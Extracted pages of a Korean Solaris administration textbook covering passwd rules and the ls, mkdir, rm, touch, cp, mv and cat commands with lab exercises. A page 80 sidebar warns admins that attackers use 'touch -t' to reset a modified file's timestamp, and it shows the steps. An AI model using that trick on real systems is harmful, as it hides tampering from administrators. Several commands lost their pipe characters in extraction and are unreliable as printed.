updates /etc/shadow with information from /etc/passwd. pwconv relies on a special value of 'x' in the password field of /etc/passwd. This value of 'x' indicates that the password for the user is already in /etc/shadow and should not be modified. If aging is sufficient, a check is made to ensure that the new password meets construction requirements. When the new password is entered a second time, the two copies of the new password are compared. If the two copies are not identical, the cycle of prompting for the new password is repeated for, at most, two more times. Passwords must be constructed to meet the following requirements: o o o o Each password must have PASSLENGTH characters, where PASSLENGTH is defined in /etc/default/passwd and is set to 6. Setting PASSLENGTH to more than eight characters requires configuring policy.conf(4) with an algorithm that supports greater than eight characters. Each password must meet the configured complexity constraints specified in /etc/default/passwd. Each password must not be a member of the configured dictionary as specified in /etc/default/passwd. For accounts in name services which support password history checking, if prior password history is defined, new passwords must not be contained in the prior password history. root 사용자가일반사용자의암호를변경하는경우사용자의암호를물어보지않고바로변경이가능하다. 하지만일반사용자가자신의암호를변경하는경우에는이전암호를반드시맞추어야만새로운암호로변경할수있고, 이때사용자암호변경규칙이적용된다. l root 사용자 : 모든사용자의암호를변경가능 l 일반사용자 : 자신의암호만변경가능 l root 사용자 : 암호변경시이전암호물어보지않고변경가능 l 일반사용자 : 이전암호를반드시맞추어야만새로운암호입력가능

68 Solaris Esstential Guide ( 명령어형식 ) root># passwd /* 관리자 (root) 의암호변경 */ root># passwd username /* 관리자 (root) 가사용자의암호변경 */ user01># passwd /* 사용자 (user01) 의암호변경 */ user01># passwd user01 /* 사용자 (user01) 의암호변경 */ [EX1] root 사용자암호변경실습 # passwd passwd: Changing password for root New Password: <----- 새로운암호입력 ( 암호 : 123user) Re-enter new Password: <----- 암호재입력 ( 암호 : 123user) passwd: password successfully changed for root # passwd root New Password: <----- 새로운암호입력 ( 암호 : knit) Re-enter new Password: <----- 암호재입력 ( 암호 : knit) passwd: password successfully changed for root [EX2] 일반사용자암호변경실습 # passwd user01 New Password: <----- 새로운암호입력 ( 암호 : solaris) Re-enter new Password: <----- 암호재입력 ( 암호 : solaris) passwd: password successfully changed for user01 # telnet localhost Trying Connected to localhost. Escape character is '^]'. login: user01 <----- 'user01' 입력 Password: <----- 사용자암호입력 ( 암호 : solaris) Last login: Thu Jan 31 12:23:33 from localhost Sun Microsystems Inc. SunOS 5.9 Generic January 2003 $ id uid=100(user01) gid=1(other) $ passwd passwd: Changing password for user01 Enter existing login password: <----- 기존의암호입력 ( 암호 : solaris) New Password: <----- 새로운암호입력 ( 암호 : 123user) Re-enter new Password: <----- 암호재입력 ( 암호 : 123user) passwd: password successfully changed for user

69 Solaris Esstential Guide [ 참고 ] 일반사용자 (EX: user01) 암호변경규칙 암호변경규칙 l 암호의길이는 6-8 글자사이값이어야한다. l 암호가 6 글자보다작으면입력가능하지않고, 8 글자보다크면큰글자무시된다. l 암호는 2 개의문자와한개의숫자또는특수문자가포함되어야한다. l 사용자이름과암호는틀려야한다. ( 예 ) ID: user01, PASS: user01 l 사용자이름과암호는 reverse, circular shift 형태는안된다. ( 예 ) ID: user01, PASS: 1user0, 01user, 10resu l 사용자의새로운암호는이전암호와는 3 글자이상틀려야한다. ( 예 ) 이전암호 : user01, 새로운암호 : user01 [EX1] 암호변경규칙테스트 $ telnet localhost Trying Connected to localhost. Escape character is '^]'. login: user01 <----- 'user01' 입력 Password: <----- 사용자암호입력 ( 암호 : 123user) Last login: Thu Jan 31 18:51:20 from localhost Sun Microsystems Inc. SunOS 5.9 Generic January 2003 $ id uid=100(user01) gid=1(other) $ passwd user01 passwd: Changing password for user01 Enter existing login password: <----- 기존의암호입력 ( 암호 : 123user) New Password: <----- 짧은암호입력 ( 암호 : end01) passwd: Password too short - must be at least 6 characters. <----- 에러메세지확인 Please try again New Password: <----- 기존의암호와같은암호입력 ( 암호 : 123user) passwd: Old and new passwords must differ by at least 3 positions. Please try again New Password: <----- 새로운암호입력 ( 암호 : solaris1) Re-enter new Password: <----- 암호재입력 ( 암호 : solaris1) passwd: password successfully changed for user01 $ exit $ exit ( 복원 ) user01 사용자패스워드복구 (root 사용자로 ) l 일반사용자는사용자아이디와암호를같도록설정할수없다. l 따라서 root 사용자로 user01 사용자의암호를복구한다. # passwd user

70 Solaris Esstential Guide 유닉스시스템에서디렉토리안의파일과디렉토리목록을확인할때는 ls 명령어를사용한다. 디렉토리안에는파일과디렉토리로구성되어있으며, ls 명령어에 -l 옵션을사용하면파일과디렉토리의자세한속성정보를확인할수있다. 빈디렉토리를생성할때는 mkdir 명령어를사용하고빈디렉토리를삭제할때는 rmdir 명령어를사용한다. rmdir 명령어를수행할때디렉토리가비어있지않으면 rm 명령어의 -r 옵션을통해지울수있다

71 Solaris Esstential Guide ls 명령어 NAME ls - list contents of directory DESCRIPTION For each file that is a directory, ls lists the contents of the directory. For each file that is an ordinary file, ls repeats its name and any other information requested. The output is sorted alphabetically by default. When no argument is given, the current directory is listed. When several arguments are given, the arguments are first sorted appropriately, but file arguments appear before directories and their contents. OPTIONS -a Lists all entries, including those that begin with a dot (.), which are normally not listed. -d If an argument is a directory, lists only its name (not its contents). Often used with -l to get the status of a directory. -F Marks directories with a trailing slash (/), doors with a trailing greater-than sign (>), executable files with a trailing asterisk (*), FIFOs with a trailing vertical bar ( ), symbolic links with a trailing 'at' sign (@), and AF_UNIX address family sockets with a trailing equals sign (=). -i For each file, prints the i-node number in the first column of the report. -l Lists in long format, giving mode, ACL indication, number of links, owner, group, size in bytes, and time of last modification for each file (see above). If the file is a special file, the size field instead contains the major and minor device numbers. If the time of last modification is greater than six months ago, it is shown in the format `month date year' for the POSIX locale. When the LC_TIME locale category is not set to the POSIX locale, a different format of the time field may be used. Files modified within six months show `month date time'. If the file is a symbolic link, the filename is printed followed by "->" and the path name of the referenced file. -L If an argument is a symbolic link, this option evaluates the file information and file type of the file or directory that the link references, rather than those of the link itself. However, the name of the link is displayed, rather than the referenced file or directory. -r Reverses the order of sort to get reverse alphabetic or oldest first as appropriate. -t Sorts by time stamp (latest first) instead of by name. The default is the last modification time. (See -u and -c.) -u Uses time of last access instead of last modification for sorting (with the -t option) or printing (with the -l option). -c Uses time of last modification of the i-node (file created, mode changed, and so forth) for sorting (-t) or printing (-l or -n)

72 Solaris Esstential Guide 디렉토리안의내용을확인하기위해서는 ls(list) 명령어를사용한다. ls 명령어실행시 -l 옵션에 -d 옵션이없다면, 디렉토리안의파일목록을보여주고, -d 옵션이있다면, 디렉토리만의속성정보를보여준다. ( 기본사용방법 ) # ls -l /* 현재디렉토리안의파일 / 디렉토리목록확인 */ # ls -l dirname /* 지정된디렉토리안의파일 / 디렉토리목록확인 */ # ls -ld /* 현재디렉토리만의속성정보확인 */ # ls -ld dirname /* 지정된디렉토리만의속성정보확인 */ [EX1] ls 기본사용방법실습 ( 실습준비 ) # cd /test # rm -r /test/* # touch file1 # mkdir dir1 # touch dir1/file2 ( 기본사용방법 ) # ls -l /* 현재디렉토리안의목록확인 */ # ls -ld /* 현재디렉토리만의속성정보확인 */ # ls -l dir1 /* 지정된디렉토리안의목록확인 */ # ls -ld dir1 /* 지정된디렉토리만의속성정보확인 */ ( 옵션사용방법 ) # ls -l (-l : Long Line Format) # ls -al (-a : All) # ls -alf more (-F : File Type) # ls -ld /work (-d : Directory) # ls -lr /work (-R : Recusive) # ls -li file1 (-i : Inode) # ls -altr (-t : Time Sort, -r : Reverse Sort) 옵션 설명 -a 모든파일표시, 여기에는숨김파일 ( 점 (.) 으로시작하는파일 ) 도표시한다. -l 디렉토리가지정되는경우디렉토리의내용을자세히보여준다. 또한파일의내용이지정되는경우파일의속성정보를자세히보여준다. 파일종류, 링크수, 소유자명, 그룹명, 파일크기, 최종수정일및용량, 파일명표시한다. -R 해당디렉토리와서브디렉토리의모든내용을표시 -F 디렉토리인경우에는디렉토리 / 표시를하고실행파일인경우는뒤에 *, 표시한다. -i 해당파일의 inode 번호를표시한다. -n 파일의소유자와그룹을숫자로표시한다. -d 디렉토리에관한정보만을표시한다

73 Solaris Esstential Guide [EX2] "ls -l filename" 명령어로보여지는출력화면해석 # ls -l file1 -rw-r--r-- 1 user01 staff 432 시간 file1 ( 출력내용해석 ) : ( 파일의종류 ), d(directory), -(Regular File), s(socket File), p(pipe File), l(link File), b(block device file), c(character device file), D(Door File) rw- : ( 사용자퍼미션 ), user01 사용자가 file1에대한퍼미션설정 (read, write) r-- r-- : ( 그룹퍼미션 ), staff이라는그룹에속한사용자들이 file1에대한퍼미션설정 (read) : (other 퍼미션 ), user01도아니고staff이라는그룹에도속하지못한사용자들이 file1에대한퍼미션 (read) 1 : 하드링크수 (Hard Link Count) user01 : ( 소유자 ), file1에대한소유권 (Ownership) staff : ( 그룹 ), file2에대한그룹권 (Groupship) 432 : 파일크기 (File Size, bytes) 시간 : ( 수정시간 ), 파일이수정되었거나생성된시간 (mtime, Modify Time) (mtime: Modify Time, ctime: Change Time, atime: Access Time) file1 : 파일의이름 (Filename) [EX3] "# ls -a" 옵션사용법 # ls a / # ls / # cd /test # touch.file1 # ls # ls -a [EX4] "# ls -F" 옵션사용법 # cd /test # rm -rf /test/* ( 필요하면명령어수행 ) # alias ls # unalias ls # cp /etc/passwd file1 /* 텍스트파일 */ # cp /usr/bin/ls file2 /* 실행파일 */ # ln -s file1 file3 /* 링크파일 */ # mkdir dir1 /* 디렉토리파일 */ # ls # ls -F

74 Solaris Esstential Guide [ 참고 ] 파일또는디렉토리만출력 # alias lsf='ls -l grep "^-"' /* 파일목록만목록확인하도록선언 */ # alias lsd='ls -l grep "^d"' /* 디렉토리목록만확인하도록선언 */ # lsf # lsd [EX] lsf, lsd 실습 # alias lsf lsf='ls -al grep ^-' # alias lsd lsd='ls -al grep ^d' # cd /etc # lsf # lsd [ 참고 ] 변환된파일사이즈출력 alias ls='ls -hf' (-h : human, Solaris 9 버전부터내장 ) # unalias ls /* ls 엘리어스해제 */ # ls -l /etc/inet/inetd.conf /* ls 명령어에 -h 옵션없이실행 */ # ls -lh /etc/inet/inetd.conf /* ls 명령어에 -h 옵션붙여서실행 */ # alias ls='ls -hf' # alias ll='ls -ailf more' # alias lsf='ls -l grep "^-"' # alias lsd='ls -l grep "^d"' [ 참고 ] 많이사용되는 ls 명령어의 alias 선언 [ 참고 ] ls --color (GNU Packages) GNU ls 명령어를사용하기위해서는 sunfreeware.com 사이트에서 fileutile 또는 coreutile 패키지를다운로드받아설치하면된다. > fileutile Package or coreutile

75 Solaris Esstential Guide [ 참고 ] DOS / UNIX 명령어비교 보통유닉스서버에서의작업은윈도우즈노트북이나 PC 에서유닉스서버에접속하여사용하는경우가많다. 이런경우윈도우의기능인 DOS 명령어 ( 윈도우즈명령어 ) 를사용하는경우가많다. 따라서유닉스의명령어와 DOS 의명령어정도는비교할수있어야하며, 기본적인명령어들은숙지하고있어야한다. 다음은 DOS 명령어와 UNIX 기본명령어를비교한것이다 DOS UNIX display list of files dir/w dir ls dir ls -l display contents of file type cat display file with pauses type filename more more copy file copy cp find string in file find grep fgrep compare files comp diff rename file rename OR ren mv delete file erase OR del rm delete directory rmdir OR rd rmdir change file protection attrib chmod create directory mkdir OR md mkdir change working directory chdir OR cd cd get help help man apropos display date and time date, time date display free disk space chkdsk df print file print lpr display print queue print lpq

76 Solaris Esstential Guide mkdir 명령어 NAME mkdir - make directories DESCRIPTION The mkdir command creates the named directories in mode 777 (possibly altered by the file mode creation mask umask(1)). Standard entries in a directory (for instance, the files ".", for the directory itself, and "..", for its parent) are made automatically. mkdir cannot create these entries by name. Creation of a directory requires write permission in the parent directory. The owner-id and group-id of the new directories are set to the process's effective user-id and group-id, respectively. mkdir calls the mkdir(2) system call. setgid and mkdir To change the setgid bit on a newly created directory, you must use chmod g+s or chmod g-s after executing mkdir. The setgid bit setting is inherited from the parent directory. OPTIONS -m mode This option allows users to specify the mode to be used for new directories. Choices for modes can be found in chmod(1). -p With this option, mkdir creates dir by creating all the non-existing parent directories first. The mode given to intermediate directories will be the difference between 777 and the bits set in the file mode creation mask. The difference, however, must be at least 300 (write and execute permission for the user). 빈디렉토리를만들때쓰면명령어이다. 여러개의디렉토리를한꺼번에생성하기위해서디렉토리를하나이상나열할수도있다. 또한다중디렉토리 ( 하위디렉토리 ) 를한꺼번에생성하기위해서 -p 옵션을사용할수도있다. ( 명령어형식 ) # mkdir dir1 /* 빈디렉토리생성 */ # mkdir dir1 dir2 /* 여러개의빈디렉토리생성 */ # mkdir -p dir1/dir2/dir3 /* 다중디렉토리생성 */ [EX1] "mkdir -p" 명령어형식실습 # cd /test # rm -r /test/* # mkdir dir1 # mkdir -p dir1/dir2/dir3 # ls -lr -> 출력결과생략

77 Solaris Esstential Guide rmdir 명령어 NAME rm, rmdir - remove directory entries DESCRIPTION The rm utility removes the directory entry specified by each file argument. If a file has no write permission and the standard input is a terminal, the full set of permissions (in octal) for the file are printed followed by a question mark. This is a prompt for confirmation. If the answer begins with y (for yes), the file is deleted, otherwise the file remains. OPTIONS -p Allows users to remove the directory dirname and its parent directories which become empty. A message is printed to standard error if all or part of the path could not be removed. 빈디렉토리를삭제할때사용하는명령어이다. 디렉토리명을여러개지정할수있으나삭제하고자하는디렉토리명은반드시하위항목이비어있어야한다. 즉파일이나하위디렉토리가있어서지울려고하는디렉토리가비어있지않은경우삭제할수없게된다. 이런경우 rm 명령어의 -r 옵션을사용하여삭제하면다중파일또는디렉토리및비어있지않은디렉토리를삭제할수있다. rmdir 명령어에도 -p 옵션이존재는하지만실무에서는잘사용되지않는옵션이다. ( 명령어형식 ) # rmdir dir1 /* 빈디렉토리삭제 */ # rmdir dir1 dir2 /* 여러개의빈디렉토리삭제 */ [ 참고 ] 비어있지않은디렉토리삭제시비어있지않은디렉토리삭제시에는 rm 명령어의 -r 옵션을사용한다. # rm -r dir2 (-r: recusive)

78 Solaris Esstential Guide 솔라리스시스템에서파일을생성하는방법은여러가지가있다. ( ㄱ ) 편집기를사용하는방법 ( ㄴ )echo 명령어를사용하는방법 ( ㄷ )touch 명령어를사용하는방법 ( ㄹ )cat 명령어를사용하는방법등다양한방법이존재한다. touch 명령어는빈파일을생성할때사용하는명령어이다. cp 명령어, mv 명령어는파일이나디렉토리를복사하거나옮길때사용하는명령어이다. rm 명령어는파일이나디렉토리를삭제할때사용한다

79 Solaris Esstential Guide touch 명령어 NAME touch, settime - change file access and modification times DESCRIPTION The touch utility sets the access and modification times of each file. The file operand is created if it does not already exist. The time used can be specified by -t time, by the corresponding time fields of the file referenced by -r ref_file, or by the date_time operand. If none of these are specified, touch uses the current time (the value returned by the time(2) function). If neither the -a nor -m options are specified, touch updates both the modification and access times. A user with write access to a file, but who is not the owner of the file or a super-user, can change the modification and access times of that file only to the current time. Attempts to set a specific time with touch will result in an error. The settime utility is equivalent to touch -c [date_time] file. OPTIONS -t time Uses the specified time instead of the current time. time will be a decimal number of the form: [[CC]YY]MMDDhhmm[.SS] where each two digits represent the following: MM The month of the year [01-12]. DD The day of the month [01-31]. hh The hour of the day [00-23]. mm The minute of the hour [00-59]. CC The first two digits of the year. YY The second two digits of the year. SS The second of the minute [00-61]. Both CC and YY are optional. If neither is given, the current year will be assumed. If YY is specified, but CC is not, CC will be derived as follows: touch 명령어는파일의이름을지정하여기존에존재하지않는파일이름을지정하였다면빈파일을만들어주고기존에존재했다면지정된파일이나디렉토리의수정시간 (mtime, Modify Time) 이나접근시간 (atime, Access Time) 등을현재시간으로업데이트시켜준다. 만약 touch 명령어에 -t 옵션을사용하여파일이나디렉토리의수정시간을특정한시간으로변경도가능하다

80 Solaris Esstential Guide ( 명령어형식 ) # touch file1 /* 빈파일생성또는 mtime 수정 */ # touch file1 file2 /* 여러개의빈파일생성 */ # tuoch -t file1 /* 빈파일생성시 mtime 지정또는존재하는파일 mtime 수정 */ (08 월 01 일 13:00) 옵션 -t 설명 파일의수정시간을특정한시간으로변경한다. [[CC]YY]MMDDhhmm[.SS] MM The month of the year [01-12]. DD The day of the month [01-31]. hh The hour of the day [00-23]. mm The minute of the hour [00-59]. CC The first two digits of the year. YY The second two digits of the year. SS The second of the minute [00-61]. [EX1] touch 기본형식실습 # ls -l -rw-r--r-- 1 root other 0 5월 9 19:17 file1... ( 중략 )... # touch file5 -> 기존에 file5 가없으므로새로운파일생성된다. # touch file1 # ls -l -rw-r--r-- 1 root other 0 5월 9 19:31 file1... ( 중략 )... -> 기존에존재하던파일이므로시간 (mtime) 현재시간으로수정된다. [ 참고 ] 해커 (Cracker) 들의 touch 명령어사용 touch 명령어를관리자는주로테스트용도또는빈파일을만들때사용하고있지만, 해커들에의해서기존의설정파일을수정하는경우수정시간 (mtime) 을다시원래상태로돌릴때사용될수도있다. 따라서, ls -l 명령어를사용하여보여지는파일에대한속성정보중수정시간 (mtime) 이정확하지않을수도있다는것을관리자는알아야한다. l 관리자 -> 테스트용도로많이사용된다. l 해커 -> 악의사용자에의해사용될수도있다. # ls -l file3 > file.txt # cat file.txt # vi file3 # touch -t file3 (12 월 6 일 12:23, 파일의 mtime 을원래대로돌린다.)

81 Solaris Esstential Guide cp 명령어 NAME cp - copy files OPTIONS -i Interactive. cp will prompt for confirmation whenever the copy would overwrite an existing target. A y answer means that the copy should proceed. Any other answer prevents cp from overwriting target. -r Recursive. cp will copy the directory and all its files, including any subdirectories and their files to target. -L Takes actions based on the type and contents of the file referenced by any symbolic link specified as a source_file operand or any symbolic links encountered during traversal of a file hierarchy. Copies files referenced by symbolic links. Symbolic links encountered during traversal of a file hierarchy are not preserved. -p Preserve. cp duplicates not only the contents of source_file, but also preserves the owner and group id, permission modes, modification and access time, ACLs, and extended attributes, if applicable. The command can fail if ACLs are copied to a file system without appropriate support. The command does not fail if unable to preserve extended attributes, modification and access time, or permission modes. If unable to preserve owner and group id, cp does not fail, and it clearss_isuid and S_ISGID bits in the target. cp prints a diagnostic message to stderr and return a non-zero exit status if unable to clear these bits. In order to preserve the owner and group id, permission modes, and modification and access times, users must have the appropriate file access permissions. This includes being superuser or the same owner id as the destination file. When both -p and -@ options are specified, the -p option determines the behavior. However, the command can fail if unable to preserve extended attributes. 파일과디렉토리의내용을다른파일또는다른디렉토리에복사할때사용한다. 파일을복사하는것은물리적으로새로운파일을하나생성한다. 다시말해서새로운파일의이름과새로운 Inode, 복사된데이터블록을가지게된다. 기존의파일도존재하면새로운파일도존재하게되는것이다. cp 명령어를사용하여디렉토리를복사하는경우 -r 옵션을사용한다. 아래명령어형식과같이 -r 옵션을사용하는경우 dir2 디렉토리가미리존재하지않는다면 dir1 디렉토리가 dir2 로복사가되지만, dir2 디렉토리가미리존재하는경우에는 dir2 디렉토리안에 dir1 디렉토리로복사된다. ( 명령어형식 ) # cp file1 file2 /* file1 을 file2 복사 */ # cp file1 dir1 /* file1 을 dir1 디렉토리로복사 */ # cp r dir1 dir2 /* dir2 디렉토리생성또는 dir2/dir1 디렉토리생성 */ /* 만약 dir2 존재하면 dir2/dir1 생성 */ /* 만약 dir2 존재하지않으면, dir2 생성 */ # cp i file1 file2 (-i : interractive) # cp -p file1 file2-75 -

82 Solaris Esstential Guide [ 참고 ] "cp -i" alias 설정 cp 명령어는 -i 옵션을 alias 로설정하는경우가대부분이다. 이것은실수로인해기존파일에덮어쓰기하는것을방지할수있기때문이다. # vi ~/.kshrc (ksh 인경우 ) alias cp='cp -i' [EX1] cp 명령어실습 ( 실습준비 ) # cd /test # rm -r /test/* # cp /etc/passwd file1 (cp file1 file2 형식실습 ) # cp file1 file2 /* file2 가현재디렉토리에생성된다. */ # ls (cp file1 dir1 형식실습 ) # mkdir dir1 # cp file1 dir1 /* dir1 디렉토리에 file1 이생성된다. */ # ls dir1 (cp -r dir1 dir2 형식실습 ) # cp -r dir1 dir2 /* dir2 디렉토리가생성된다. */ # ls # cp -r dir1 dir2 /* dir2 디렉토리에 dir1 디렉토리가생성된다. */ # ls dir2 [ 참고 ] 기존에존재하는디렉토리에디렉토리복사하는방법 # cp -r /test /tmp # cp -r /export/home/user01 /tmp [EX2] 큰로그파일삭제방법 server.log 파일은존재하면서, server.log 파일의내용만지우고싶은경우다음과같이 /dev/null 가상디바이스를사용하는경우가있다. # cp /dev/null server.log # cat /dev/null > server.log # > server.log 다음은 messages 파일의내용만삭제하는경우를나타낸다. # cd /test # cp /var/adm/messages file1 # cp /dev/null file1 # ls -l file1 -> 파일크기점검

83 Solaris Esstential Guide [ 참고 ] cp 명령어에대한 inode 변화과정 cp 명령어에대한 inode 변화과정 cp 명령어는새로운파일을생성한다. 따라서, 새로운 Inode 를생성하게된다. # cd /test # touch file1 # ls -li file1 (Inode : ) # cp file1 file2 # ls -li file1 file2 (file1 Inode : , file2 Inode : )

84 Solaris Esstential Guide mv 명령어 NAME mv - move files(rename) OPTIONS -f mv will move the file(s) without prompting even if it is writing over an existing target. Note that this is the default if the standard input is not a terminal. -i mv will prompt for confirmation whenever the move would overwrite an existing target. An affirmative answer means that the move should proceed. Any other answer prevents mv from overwriting the target. /usr/bin/mv Specifying both the -f and the -i options is not considered an error. The -f option will override the -i option. /usr/xpg4/bin/mv Specifying both the -f and the -i options is not considered an error. The last option specified will determine the behavior of mv. 파일과디렉토리의내용을다른파일또는다른디렉토리로옮길때사용한다. mv 명령어는기본적으로디렉토리를옮길수있기때문에디렉토리를옮길때따로옵션이필요하지않는다. mv 명령어를사용하여파일의이름이나디렉토리의이름을바꿀수도있고다른디렉토리로옮길수도있다. 같은파티션안에서파일을옮긴다는것은물리적으로파일이름만변경하는것이다. 즉 Inode 정보나데이터블록은그대로유지가된다. 하지만다른파티션으로파일을옮기는경우는새로운파일이름과 Inode, 데이터블록을할당받게된다. mv 명령어를사용하여디렉토리를이름을변경하는경우특별한옵션이필요하지않는다. 아래명령어형식과같은경우, dir2 디렉토리가미리존재하지않는다면 dir1 디렉토리가 dir2 로이름이변경되지만, dir2 디렉토리가미리존재하는경우에는 dir2 디렉토리안에 dir1 디렉토리로이동된다. ( 명령어형식 ) # mv file1 file2 /* file1 을 file2 로이름변경 */ # mv file1 dir1 /* file1 을 dir1 디렉토리안으로이동 */ # mv dir1 dir2 /* dir1 디렉토리를 dir2 로이름변경또는 dir2/dir1 으로이동 */ /* 만약 dir2 존재하지않는다면, dir1 을 dir2 로이름변경 */ /* 만약 dir2 존재하면, dir1 을 dir2/dir1 으로이동 */ # mv -i file1 file2 (-i: Interractive) [ 참고 ] mv => rename( 파일이름변경 ) [EX1] mv 명령어실습 ( 실습준비 ) # cd /test ; rm -r /test/* # touch file1 # mkdir dir1 # touch dir1/file2 (mv file1 file2 형식실습 ) # mv file1 file3 /* file1 -> file3 이름변경 */ # ls (mv file1 dir1 형식실습 ) # mv file3 dir1 /* file3 파일이 dir1 으로이동 */ # ls dir1-78 -

85 Solaris Esstential Guide (mv dir1 dir2 형식실습 ) # mv dir1 dir2 /* dir1 -> dir2 이름변경 */ # cp -r dir2 dir1 # mv dir1 dir2 /* dir2 디렉토리하위로 dir1 이동 */ # ls dir2 [ 참고 ] mv 명령어에대한 inode 변화과정 mv 명령어에대한 inode 변화과정 mv 명령어는같은파일시스템 ( 같은파티션 ) 안에서파일을 move 하는경우에는이름을바꾸는것이기때문에 Inode 는변경되지는않는다. 하지만다른파일시스템 ( 다른파티션 ) 으로 move 하는경우는 cp 명령어에서와같이새로운파일이생성된다. 따라서새로운 Inode, 데이터블록이생성된다. # cd /test # touch file1 # ls -li file1 (Inode : ) # mv file1 file3 # ls -li file3 (file3 Inode : )

86 Solaris Esstential Guide rm 명령어 NAME remove directory entries DESCRIPTION /usr/bin/rm /usr/xpg4/bin/rm The rm utility removes the directory entry specified by each file argument. If a file has no write permission and the standard input is a terminal, the full set of permissions (in octal) for the file are printed followed by a question mark. This is a prompt for confirmation. If the answer begins with y (for yes), the file is deleted, otherwise the file remains. If file is a symbolic link, the link will be removed, but the file or directory to which it refers will not be deleted. Users do not need write permission to remove a symbolic link, provided they have write permissions in the directory. If multiple files are specified and removal of a file fails for any reason, rm will write a diagnostic message to standard error, do nothing more to the current file, and go on to any remaining files. If the standard input is not a terminal, the utility will operate as if the -f option is in effect. OPTIONS -f Removes all files (whether write-protected or not) in a directory without prompting the user. In a write-protected directory, however, files are never removed (whatever their permissions are), but no messages are displayed. If the removal of a writeprotected directory is attempted, this option will not suppress an error message. -i Interactive. With this option, rm prompts for confirmation before removing any files. It overrides the -f option and remains in effect even if the standard input is not a terminal. 파일을지우거나디렉토리를지울때사용한다. 여러개의파일과디렉토리를지우고자할때도사용할수있다. 디렉토리를삭제하는경우는 rm 명령어에 -r 옵션을사용하여야한다. rmdir 명령어는빈디렉토리만삭제할수있는데 rm 명령어에 -r 옵션을사용하면비어있지않은디렉토리도삭제할수있다. rm 명령어에 -i 옵션을사용하면파일이나디렉토리를지울때마다정말지울것인지를묻도록할수있다. rm 명령어로지운파일들은되살릴수없으므로주의해서사용해야하는데 -i 옵션을사용하면한번더묻게되므로부주의로인한파일삭제를막을수있다. ( 명령어형식 ) # rm file1 /* 한개의파일을삭제 */ # rm file1 file2 /* 여러개의파일을삭제 */ # rm -r dir1 /* 비어있지않는디렉토리를삭제 */ (-r : Recursive) # rm -i file1 /* 대화형모드형태로파일삭제실행 */ (-i : Interractive)

87 Solaris Esstential Guide [ 참고 ] debugfs & fsdb 유닉스시스템에서 rm 명령어를통해파일을지웠다면, 반드시복구할수없는것은아니다. 또한지워진파일을 100% 복구할수있다고할수도없다. 하지만복구할수있는방법은존재한다. 지워진파일을다시복구하는방법은파일시스템에따라서틀리다. 리눅스시스템의 ext2 파일시스템같은경우에는 debugfs 명령어등을통해쉽게파일을복구할수있도록하고있다. 유닉스상에서는 fsdb(filesystem Debugger) 명령어를통해트릭을사용하여복구할수있다. 하지만이런경우는파일시스템에대한이해력이많이필요하므로공개되어진 ( 상용툴, 쉐어웨어툴, 프리웨어툴등 ) 툴들을사용하는것을권장한다. debugfs : Linux fsdb : Unix 다음참고사이트는유닉스 / 윈도우 / 리눅스등다양한파일시스템에대한지원진파일을복구하는툴에대한소개이다. 반드시참고하기바란다. UFS, UFS2 파일시스템지워진파일복구 : ZFS 파일시스템에서지워진파일복구 - 백승찬님의 ZFS 효율적인관리 세미나문서참고

88 Solaris Esstential Guide [ 참고 ] rm -i & rm -f 솔라리스상에서 rm 명령어는보통 -i 옵션을 alias 로선언하여사용하고있다. 이런경우많은파일과디렉토리가존재하는폴더를지울려고하는경우, 계속해서물어보게된다. 리눅스상에서는 rm 명령어에 -f 옵션을사용하지만, 솔라리스상에서는 \(Back Slash) 를명령어앞에사용하면된다. # alias rm='rm -i' (on Linux) # rm -rf dir1 (on Solaris)# \rm -r dir1 (-f : force) [EX1] \rm -r 명령어실습 ( 실습준비 ) # cd /test # rm -r /test/* # mkdir dir1 # touch dir1/file1 # touch dir1/file2 (\rm -r 옵션실습 ) # alias rm='rm -i' # rm -r dir1 (# rm -rf dir1) rm: examine files in directory dir1 (yes/no)? <----- 바로 <CTRL + C> 입력 # \rm -r dir1 파일생성및삭제과정 [ 참고 ] 파일생성및삭제과정 파일생성시 1) 슈퍼블럭에서하나의 Inode 를할당한다. 2) Inode 의내용들을초기화한다. 3) Inode-Number 와파일시스템을해당상위디렉토리에기록한다. 4) Inode-List(Inode Table) 에있는한엔트리를할당한다. 5) 사용자영역의파일지시자 (File Descriptor) 에한엔트리를할당한다. 6) 파일지시자를프로세스에게반환한다. 파일삭제시 1) 주어진경로명을 Inode-List(Inode Table) 의포인터로바꾼다. 2) 주어진파일이마운트되었으면삭제못하고반환한다. 3) 주어진파일이공유된텍스트이고링크수가 1 이면반환한다. 4) 파일의링크수를하나감소시키고, 상위디렉토리에서그파일의 Inode Number 를 0 으로설정한다

89 Solaris Esstential Guide Solaris 10 Essential Guide 4. Solaris Basic Commands l 파일내용관리 l cat CMD l l 파일내용확인 more CMD 파일내용페이지단위로확인 haed CMD 파일내용중상단의 10줄을출력 tail CMD 파일내용중하단의 10줄을출력 텍스트 (Text) 형태의파일내용을확인하는명령어는여러가지가존재한다. cat, more, head, tail 명령어등이존재한다. 텍스트형태의파일이아니고바이너리 (Binary) 형태의파일이라면위와같은명령어로확인할수는없고, strings 명령어를통해바이너리형태의파일중에서텍스트형태의내용만캡쳐해서볼수있다

90 Solaris Esstential Guide cat 명령어 NAME cat - concatenate and display files DESCRIPTION The cat utility reads each file in sequence and writes it on the standard output. Thus: example% cat file prints file on your terminal, and: example% cat file1 file2 >file3 concatenates file1 and file2, and writes the results in file3. If no input file is given, cat reads from the standard input file. OPTIONS -n Precede each line output with its line number. -s cat is silent about non-existent files. EXAMPLES Example 1: Concatenating a file The following command: example% cat myfile writes the contents of the file myfile to standard output. Example 2: Concatenating two files into one The following command: example% cat doc1 doc2 > doc.all concatenates the files doc1 and doc2 and writes the result to doc.all. 파일이름을읽어서화면으로출력하는명령어이다. 일반적으로작은파일의내용을출력하고싶을때많이사용한다. cat 명령어는파일의내용을화면에연속으로출력하기때문에파일의내용이많다면중간내용이너무빨리지나간다. 이런경우파이프 (Pipe Line) 을사용하여 more 명령어에연결하여사용할수도있다. ( 명령어형식 ) # cat file1 /* 파일의내용출력 */ # cat file1 file2 /* 여러개의파일내용출력 */ # cat -n file1 /* 파일의내용출력시라인번호도같이출력 */ (-n : Number Line) # cat file1 file2 > file3 /* file1, file2의출력내용을 file3에내용합치기 */ [EX1] cat 명령어실습 # cat /etc/passwd /* /etc/passwd 파일의내용확인 */ # cat -n /etc/passwd /* 라인번호도같이출력 */ # cat /etc/passwd grep user01 /* user01 사용자가있는지확인 */

